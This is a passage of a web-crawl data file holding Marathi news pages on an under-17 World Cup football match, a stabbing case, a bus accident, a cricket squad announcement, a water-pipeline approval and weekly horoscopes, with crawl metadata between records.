मध्ये स्थान मिळवण्यासाठी विजयाची खूप गरज होती आणि त्यानूसारच आक्रमक खेळाचे प्रदर्शन केले.\nभारताला विश्वचषकातला पहिला गोल नोंदवण्यात यश मिळाले पण त्याचे रुपांतर विजयात करण्यात अपयश मिळाले. शेवटी १-२ असा पराभव भारताच्या पदरी पडला.\nपहिल्या हाफ पासूनच कोलंबियाने खेळावरचा आपला ताबा सोडला नाही. खूप कमी वेळा चेंडू भारताच्या ताब्यात होता, त्यातच १६ व्या मिनिटाला अभिजीत सरकारने कोलंबियाच्या २ डिफेन्डर्सना चकवत गोल करायचा प्रयत्न केला पण कोलंबियाच्या गोलकिपरने उत्तम रित्त्या गोल वाचवला.\nकोलंबियाचे २ भक्कम अटॅक अनुक्रमे ३६ आणि ४२ व्या मिनिटाला भारताचा गोलकिपर धिरजने हाणून पाडले. पहिला हाफ ०-० असा बरोबरित सुटला.\nदुसऱ्या हाफच्या ४९ व्या मिनिटाला जुआन पेन्लोझाने डाव्या काॅर्नरला खाली मारत ०-१ अशी कोलंबियाने आघाडी घेतली. ७६ व्या मिनिट ला जेक्सनने दिलेल्या पासची अनिकेतने उत्तम संधी तयार केली पण त्याचे गोल मधे रुपांतर करण्यात नाओरिमला अपयश आले.\nही भारतासाठी आपला पहिला वर्ल्ड कप गोल नोंदवायची एक सुवर्णसंधी होती मात्र ती नाही होऊ शकली.\nअवघ्या ६ मिनिटानंतर ८२ व्या मिनिटाला मिळालेल्या काॅर्नर किकला स्टॅलिनने बाॅक्सच्या मधोमध असलेल्या जॅक्सन सिंगकडे मारली आणि जॅक्सनच्या हेडरने भारतासाठी वर्ल्ड कप गोलचे खाते उघडले.\nपण हा आनंद क्षणिक राहिला. २ च मिनिटानंतर ८४ व्या मिनिटला परत पेन्लोझाने गोल करत कोलंबिया ला १-२ अशी विजयी आघाडी मिळवून दिली.\nआपणास माहित नसेल तर:\n# भारताचा गोलकिपर धिरजचे प्रदर्शन पाहून त्याच्यावर मॅनचेस्टर सिटी आणि अर्सेनलचे लक्ष आहे.\n# आज त्याच्या गोलकिपिंगने सचिन तेंडुलकरला सुद्धा प्रभावित केले. त्याने ट्विट करुन धिरजचे कौतुक केले.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00220.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/accidental-murder/", "date_download": "2018-09-25T17:54:15Z", "digest": "sha1:EUPAVPMBCROB7ZFNFCGXPAVNU4HJFIHE", "length": 5474, "nlines": 36, "source_domain": "www.pudhari.news", "title": " गुप्ती घुसली आशिषच्या पोटात | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › गुप्ती घुसली आशिषच्या पोटात\nगुप्ती घुसली आशिषच्या पोटात\nआशिष साळवेच्या खूनप्रकरणात अटक करण्यात आलेल्या कुणाल गौतम जाधव (20) व अविनाश गौतम जाधव (22, दोघे रा. गल्ली नं. 3, रमानगर) यांना न्यायालयाने दहा दिवसांची (26 एप्रिलपर्यंत) पोलिस कोठडी सुनावली आहे. दरम्यान, क्रांती चौक पोलिसांनी त्यांचा जबाब नोंदविला असून आशिष तर आमचा चांगला मित्र होता. त्याच्याशी आमचा काहीही वाद नव्हता. आमचे टार्गेट राहुल जाधव होता. त्याला स्टेजवर पकडल्यानंतर आम्ही वार करणार तोच त्याचा फेटा निसटला. त्यामुळे वार आशिषच्या पोटात घुसला, अशी माहिती ते पोलिसांना देत असल्याचे सूत्रांनी स्पष्ट केले.\nडॉ. बाबासाहेब आंबेडकर यांच्या जयंतीनिमित्त काढण्यात आलेल्या मिरवणुकीत सहभागी होणार्‍या मान्यवरांच्या स्वागतासाठी रमानगर येथील रविराज मित्रमंडळातर्फे क्रांती चौकात स्टेज उभारण्यात आले होते. या स्टेजवर राहुल जाधवसह आशिष साळवे व त्यांचे मित्र मान्यवरांचे स्वागत करीत होते. 14 एप्रिल रोजी रात्री साडेदहा ते पावणेअकरा वाजेच्या सुमारास आरोपी अविनाश आणि कुणाल स्टेजवर आले. राहुलचा काटा काढायचाच या इराद्याने अविनाशने त्याच्या मानेवर हात टाकला. अविनाश गुप्तीने वार करणार तोच त्याच्या हातात राहुलचा फेटा आला. फेटा निसटल्याने राहुल डगमगला. त्याने बाजूला उभा असलेल्या आशिष साळवेचा आधार घेण्याचा प्रयत्न केला. तोच अविनाशचा वार आशिषच्या पोटात घुसला. त्यानंतर अविनाश आणि कुणाल यांनी गर्दीतून पोबारा केला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00221.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/infog-6-died-in-nashik-nandurbar-st-bus-accident-near-bhavadbari-ghat-5951266.html", "date_download": "2018-09-25T17:31:37Z", "digest": "sha1:RNF6ZLKB54MDLZGGPMIBKDYJJAFLVPQR", "length": 7276, "nlines": 160, "source_domain": "divyamarathi.bhaskar.com", "title": "6 Died in Nashik- Nandurbar ST Bus Accident Near Bhavadbari Ghat | नाशिक-नंदुरबार बसला भीषण अपघात; सहा ठार, चालक बाजू दरवाजापासून मागील टायरपर्यंत फाटली बस", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nनाशिक-नंदुरबार बसला भीषण अपघात; सहा ठार, चालक बाजू दरवाजापासून मागील टायरपर्यंत फाटली बस\nभावडबारी घाटाच्या पायथ्याशी नाशिक-नंदुरबार एसटी बस व ट्रकचा भीषण अपघात होऊन सहा प्रवाशी जागेवर ठार झाले आहेत.\nदेवळा (जि. नाशिक)- देवळा शहरापासून ८ किमी अंतरावरील विंचूर - प्रकाशा राज्यमार्गावर भावडबारी घाटाच्या पायथ्याशी मंगळवारी दुपारी बस आणि ट्रक यांच्यात समाेरासमोर झालेल्या अपघातात ४ प्रवासी जागीच ठार तर १२ जण जखमी झाले. यापैकी ९ जणांची प्रकृती गंभीर आहे.\nनंदुरबार- नाशिक या बसच्या चालकाने ट्रकला ओव्हरटेक करण्याचा प्रयत्न केला. दरम्यान, समोरून अन्य एक ट्रक आला व त्या ट्रक आणि बसमध्ये धडक झाली. धडक इतकी भीषण होती की त्यात बसचा चालकाकडील भाग अक्षरश: कापला गेला. बसमध्ये १९ प्रवासी होते. राहुल देवरे (२३, शरदनगर, सटाणा), दीपक कुलकर्णी (४५ चित्तळवेढे ता.अकोले) कांचनबाई जैन (४५, वर्धाने ता.साक्री) व सुनंदा महिरे (४०, छडवेल ता.साक्री) अशी मृतांची नावे आहेत. १२ प्रवासी जखमी असून त्यापैकी ९ गंभीर आहेत. त्यांना उपचारासाठी मालेगाव येथे हलविण्यात आले आहे.\nबस आणि समोरून येणाऱ्या ट्रकदरम्यान धडक होताच दोन्ही वाहने काही अंतरापर्यंत सोबतच फरपटत गेली. दरम्यान, मागून येत असलेल्या अन्य एका ट्रकला याचा झटका बसला आणि त्यात ट्रकचा क्लीनर जखमी झाला.\nपुढील स्लाइड्‍सवर क्लिक करूनप पाहा...अपघाताची भीषणता दर्शवणारे फोटो...\nदेवकिसन सारडा यांना 'महेशभूषण' पुरस्कार; सात ऑक्टोबर रोजी धुळ्यात होणार वितरण \\\nस्वाइन फ्लूने महिलेचा मृत्यू; ४ रुग्णांचे अहवाल पॉझिटिव्ह\nआजपासून राज्यातील 25 हजार प्राध्यापकांचे काम बंद अांदाेलन, परीक्षा सुरळीत पार पडणार\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00221.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "https://mahasports.co.in/4-maharashtra-players-in-indian-squad-for-australia-series/", "date_download": "2018-09-25T17:46:01Z", "digest": "sha1:NIPQYMDCP3IP6IMLQPUP2EIXKVBGP6BT", "length": 8303, "nlines": 62, "source_domain": "mahasports.co.in", "title": "४ महाराष्ट्रीयन खेळाडू ऑस्ट्रेलियाविरूद्धच्या मालिकेसाठी भारतीय संघात -", "raw_content": "\n४ महाराष्ट्रीयन खेळाडू ऑस्ट्रेलियाविरूद्धच्या मालिकेसाठी भारतीय संघात\n४ महाराष्ट्रीयन खेळाडू ऑस्ट्रेलियाविरूद्धच्या मालिकेसाठी भारतीय संघात\n ऑस्ट्रेलिया विरुद्ध होणाऱ्या ५ एकदिवसीय सामन्यांपैकी पहिल्या तीन सामन्यांसाठी भारतीय संघाची घोषणा आज झाली. श्रीलंका दौऱ्यातील संघ बऱ्यापैकी कायम ठेवून उमेश यादव आणि मोहम्मद शमी या खेळाडूंनी भारतीय संघात कमबॅक केले आहे.\nया संघातून मुंबईकर शार्दूल ठाकूरला जरी वगळण्यात आले असले तरी ४ महाराष्ट्रीयन खेळाडू या मालिकेत खेळताना दिसतील. या संघात श्रीलंका दौऱ्यात विश्रांती दिलेल्या उमेश यादवला संधी देण्यात आली आहे. नागपूर उमेश यादव हा विदर्भ रणजी संघाकडून देशांतर्गत क्रिकेट खेळतो.\nमुंबई रणजी संघातून खेळणारे अजिंक्य रहाणे आणि रोहित शर्मा हे दोन खेळाडू श्रीलंकेपाठोपाठ याही मालिकेत खेळणार आहे. रोहित शर्माची जागा सलामीला निश्चित असून कर्णधार कोहली रहाणेला किती संधी देतो हे लवकरच कळेल.\nपुणेकर केदार जाधव हा महाराष्ट्राच्या रणजी संघाचा अविभाज्य भाग आहे. ज्या भारतीय संघात अष्टपैलू खेळाडूंसाठी मोठी चढाओढ आहे तेथे हा खेळाडू आपलं स्थान गेले ८-९ महिने राखून आहे. त्यालाही या दौऱ्यात संधी देण्यात आली आहे.\nविशेष म्हणजे या सर्व खेळाडूंची वये ही २९च्या पुढे असून रोहित शर्माने यांच्यात सार्वधिक वनडे सामने तर अजिंक्य रहाणेने सार्वधिक कसोटी सामने खेळले आहेत.\nऑस्ट्रेलिया विरुद्ध होणाऱ्या वनडे मालिकेतील पहिल्या तीन सामन्यांसाठी भारतीय संघ\nविराट कोहली(कर्णधार), रोहित शर्मा (उपकर्णधार), एमएस धोनी (यष्टीरक्षक फलंदाज), शिखर धवन, केएल राहुल, मनीष पांडे, केदार जाधव, अजिंक्य रहाणे, हार्दिक पंड्या, अक्सर पटेल, कुलदीप यादव, युझवेन्द्र चहल, जसप्रीत बुमराह, उमेश यादव, मोहमंद शमी, भुवनेश्वर कुमार\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00221.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/solapur-439-crores-water-channel-approvals/", "date_download": "2018-09-25T16:57:18Z", "digest": "sha1:6MMKXFFDHGBAQBLFVCZXVYDUY64YEWNX", "length": 7789, "nlines": 37, "source_domain": "www.pudhari.news", "title": " ४३९ कोटींच्या जलवाहिनीला मंजुरी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › ४३९ कोटींच्या जलवाहिनीला मंजुरी\n४३९ कोटींच्या जलवाहिनीला मंजुरी\nराज्य शासनाने अमृत योजनेंतर्गत 439 कोटींच्या सोलापूर-उजनी समांतर जलवाहिनी योजनेच्या सविस्तर प्रकल्प अहवालाला मंजुरी दिली आहे. याबाबतचा शासन निर्णय सोमवारी जारी होताच महापालिकेत जल्लोष करण्यात आला. या योजनेमुळे आगामी काही वर्षांत शहराचा पाणीपुरवठा सुधारण्यास मदत होणार आहे.\nसमांतर जलवाहिनीबाबतची चर्चा गेल्या अनेक वर्षांपासून होत आहे. मनपाकडे निधीची कमतरता असल्याने शासन निधीतून ही योजना राबविण्यासाठी मनपा प्रयत्नशील होती. काही वर्षांपूर्वी मनपाने 1260 कोटींचा समांतर जलवहिनी योजनेचा प्रस्ताव शासनाकडे पाठविला होता. मात्र, शासनाने टप्प्याटप्प्याने ही योजना राबविण्याचे निर्देश दिले होते. त्यानुसार मनपा प्रशासनाने पहिल्या टप्प्यासाठी 692 कोटींचा प्रस्ताव तयार केला होता; पण शासनाने काही बदल सुचवत 439 कोटींच्या प्रकल्प अहवालाला मंजुरी दिली. याबाबतचा शासन निर्णय सोमवारी जारी करण्यात आला.\nसन 2033 पर्यंतची शहराची लोकसंख्या गृहीत धक्षींन या योजनेचा आराखडा तयार करण्यात आला आहे. अमृत योजनेंतर्गत हा प्रकल्प राबविण्यात येणार आहे. अमृत योजनेंतर्गत 300 कोटींचा निधी मिळणार आहे. यापैकी 150 कोटी केंद्र सरकार, तर राज्य सरकार व मनपा प्रत्येकी 75 कोटी रुपये देणार आहे. मनपाचा हिस्सा देण्यासाठी 14 व्या वि त्त आयोगाचा निधी वापरण्यात येणार आहे. एनटीपीसीकडून 139 कोटींचा निधी मिळणार आहे. 110 एमएलडी जलक्षमतेची ही योजना आहे. या योजनेसाठी उजनी धरणाजवळ 2051 सालाची लोकसंख्या गृहित धरुन त्या क्षमतेचा जॅकवेल बनविण्यात येणार आहे. सुमारे 100 कि.मी.पर्यंत जलवाहिनी घालण्यात येईल. अ‍ॅप्रोच चॅनल, अ‍ॅप्रोज ब्रीज, रॉ वॉटर पंपिंग मशिनरी, रॉ वॉटर रायझिंग मेन, पाकणी व सोरेगाव येथे वॉटर ट्रिटमेंट प्लॅन आदी कामे या योजनेंतर्गत होणार आहे.\nया योजनेचा शासन निर्णय जारी झाल्यावर महापालिकेत जल्लोष करण्यात आला. यामध्ये महापौर शोभा बनशेट्टी, सभागृहनेते संजय कोळी, नगरसेवक नागेश वल्याळ, संतोष भोसले, संगीता जाधव आदी सहभागी झाले होते. यावेळी फटाक्यांची आतषबाजीही करण्यात आली. दरम्यान, ही योजना वेळेत पूर्ण करण्याची जबाबदारी मनपाची आहे. जर प्रकल्पाचा खर्च वाढल्यास वाढीव अनुदान मिळणार नाही, असे शासनाने सूचित केले आहे. ही योजना कार्यान्वित झाल्यास शहर पाणीपुरवठ्यात लक्षणीय सुधारणा होणार आहे. टाकळीची योजना बंद करावी लागणार आहे. असे झाल्यास औज बंधार्‍यासाठी नदीमार्गे पाणी घेण्याची योजना बंद होऊन पाण्याचा अपव्यय रोखला जाणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00222.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/442088", "date_download": "2018-09-25T17:15:38Z", "digest": "sha1:RLTKIIUBRHPD6R6NDL7Z6XFDN3DEASIH", "length": 12971, "nlines": 60, "source_domain": "www.tarunbharat.com", "title": "राशिभविष्य - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » भविष्य » राशिभविष्य\nया आठवडय़ात सुरुवातीच्या दिवसात महत्त्वाची कामे पूर्ण करा. राजकारणात व सामाजिक क्षेत्रात चातुर्याने पाऊले उचलावी लागणार आहेत. धाडसी निर्णय टाळा. बुधवारी व गुरुवारी जीवनसाथीबरोबर चहाच्या पेल्यातील वादळे संभवतात. घरात काटकसरीने वागल्यास पैशाची चणचण जाणवणार नाही. कलाक्रीडा क्षेत्रात नवीन संधी मिळेल. विद्यार्थीवर्गाने कष्ट घेतले तरच यश पदरी पडेल.\nकोर्टकचेरीच्या कामात हलगर्जीपणा करून चालणार नाही. नोकरीत अपमान सहन करावा लागू शकतो. तडकाफडकी निर्णय घेणे अयोग्य ठरेल. काळ वेळ पाहून व विचारवंतांच्या सल्ल्याने निर्णय घ्या. व्यवसायात जुनी देणी वसूल करण्याचा प्रयत्न करा. बुध, शुक्राचा अंशात्मक लाभयोग आर्थिक संकट दूर करेल. नाटय़, चित्रपट क्षेत्रात जिद्दीने कामे पूर्ण करावी लागतील. शुक्रवार व शनिवार प्रकृतीची काळजी घ्या.\nग्रहांची फारशी साथ नसल्याने कामांमध्ये गती येत नाही आहे. आत्मविश्वास कमी होत आहे. पण हा आठवडा आपल्या आयुष्यात काही चांगले क्षण घेऊन येणार आहे. नोकरीत थोडय़ा फार प्रमाणात त्रास कमी होईल. मित्र मदत करतील. प्रेमप्रकरणात मात्र सावधपणे निर्णय घ्या. राजकारणात आपल्या हुशारीचे कौतुक होईल. घरातील वातावरण आनंदी राहील. व्यवसायात, भागीदारीत मात्र सावध रहा.\nआठवडय़ाच्या सुरुवातीला शारीरिक मानसिक त्रास होईल. महिलांनी घरातील कामे करताना काळजी घ्यावी. अपघात संभवतो. नोकरीत देखील वरि÷ांचे बोलणे सहन करावे लागेल. शेतकरीवर्गाला पिकांच्या संबंधित व्यवहारात फायदा होईल. राजकारणात व समाजकारणात शब्द जपून वापरा. खोटे आरोप आपल्यावर होऊ शकतात. बुधवारपासून आपला प्रगतिरथ वेगाने धावू लागेल. आर्थिक लाभ संभवतो.\nकोणाशी कधी व काय बोलायचे याचे तारतम्य ठेवल्यास राजकारणात मोठी झेप घेता येईल. वर्षाची सुरुवात काही आनंदाचे क्षण घेऊन येणार आहे. प्रिय व्यक्तीचा सहवास लाभेल. नाटय़ चित्रपट क्षेत्रात मानसन्मानाचा योग जुळून येईल. विद्यार्थ्यांनी मन स्थिर ठेवल्यास कठीण काही नाही. शेअर्समध्ये लाभ संभवतो. बुध शुक्राचा अंशात्मक लाभयोग व्यवहारात स्थिरता आणेल. मात्र धंद्यात नवा भागीदार घेताना चौकशी करा.\nया आठवडय़ात रागावर नियंत्रण ठेवणे गरजेचे आहे. वाद गैरसमज याला सामोरे जावे लागेल. नोकरीत, धंद्यात लोकांचा त्रास सहन करावा लागेल. सोमवारी व मंगळवारी प्रकृतीची काळजी घ्या. खाण्यापिण्यात हलगर्जीपणा करून चालणार नाही. राजकारणात घाईत निर्णय घेऊ नका. शेतीच्या कामात दुसऱयांवर विसंबून राहून चालणार नाही. आपल्या मौल्यवान वस्तुंची काळजी घ्या. प्रेमप्रकरणात यश मिळेल.\nतुला राशीची साडेसाती थोडय़ाच दिवसात संपणार आहे. ताण तणावाचा परिणाम शरिरावर होतो. परंतु या आठवडय़ात मनावरील दडपण कमी होईल. सूर्य, चंद्र लाभयोगामुळे राजकारणातील कामे मार्गी लावण्याचा प्रयत्न करू शकाल. वरि÷ांचा पाठिंबा मिळेल. बुध, शुक्र लाभयोगामुळे धंद्यातील समस्या कमी होतील. कोणताही प्रश्न कायदेशीर मार्गाने सोडवा. विद्यार्थ्यांनी मेहनत घ्यावी.\nजीवनाला कलाटणी मिळेल. प्रयत्नाने व ग्रहांच्या साथीने माणसाने आपल्या क्षेत्रात प्रगती करण्याचे ठरविल्यास यश नक्की मिळते. चंद्र गुरु त्रिकोण योग व चंद्र बुध लाभयोग तुम्हाला नवा मार्ग दाखवेल. शिक्षण, नोकरी व धंद्यात चांगली संधी मिळेल. नावलौकिक, राजकीय, सामाजिक क्षेत्रात वाढेल. अविवाहितांना लग्नासाठी प्रयत्न करता येतील.\nसाडेसाती चालू असली तरी तुमच्या जीवनातील अडचणी कमी होतील. तुम्हाला कला-क्रीडा- साहित्यात प्रसिद्धी व पैसा मिळेल. जीवनसाथी व मुले यांच्या उन्नतीचा मार्ग मिळेल. धंद्यात सुधारणा होईल. राजकीय, सामाजिक कार्यात नवे धोरण राबवता येईल. शैक्षणिक क्षेत्रात प्रयत्नाला यश येईल. मंगळ नेपच्यून युती तुमचा आत्मविश्वास कायम ठेवेल.\nचंद्र, गुरु त्रिकोण योग व चंद्र, शुक्र युती होत आहे. उत्साहावर योग्य ते नियंत्रण ठेवा. हतबल होऊ नका. राजकीय, सामाजिक कार्यात तुमचे वर्चस्व राहिल. परंतु गर्वि÷पणाची भाषा नको. धंद्यात फार मोठे धाडस नको. कोर्टकेसमध्ये सावध रहा. शैक्षणिक क्षेत्रात नम्रतेने वागा. खरेदी विक्रीत अंदाज जपून घ्या.\nबुध, शुक्र लाभयोग व सूर्य प्लुटो युती तुमचे धाडस वाढवणार आहे. रविवारी तणाव होईल. त्यानंतर मात्र तुमचे वर्चस्व व प्रति÷ा वाढेल. राजकीय-सामाजिक क्षेत्रात तुमचा मुद्दा प्रभावी ठरेल. धंद्यात संधी मिळेल. जमिनीचा व्यवहार जुळून येईल. कौटुंबिक वाटाघाटीत यश मिळेल. विद्यार्थ्यांनी आळस करू नये.\nआठवडय़ाच्या सुरुवातीला घरात व समाजात वाद होऊ शकतो. संयम ठेवा. चंद्र, गुरु त्रिकोण योग व चंद्र मंगळ युती होत आहे. धंदा वाढेल व खर्च वाढतील. शुभ समाचार मिळेल. राजकीय- सामाजिक कार्यात प्रति÷ा व पद मिळण्याचा योग येईल. गुप्त कारवायांना कमी समजू नका. अभ्यासात पुढे जाल.\nआजचे भविष्य मंगळवार दि. 15 मे 2018\nआजचे भविष्य सोमवार दि. 2 जुलै 2018\nआजचे भविष्य गुरुवार दि. 19 जुलै 2018\nआजचे भविष्य मंगळवार दि. 25 सप्टेंबर 2018\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00222.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/sport/cricket-mumbai-t20-league-will-be-held-in-mumbai-between-four-and-nine-january-276380.html", "date_download": "2018-09-25T16:52:10Z", "digest": "sha1:LUBCBM4K2CBX5EDEGP26USUN7XUOFNUF", "length": 13031, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "असे रंगणार मुंबईच्या मैदानात 'T-20 लीग'चे सामने", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, 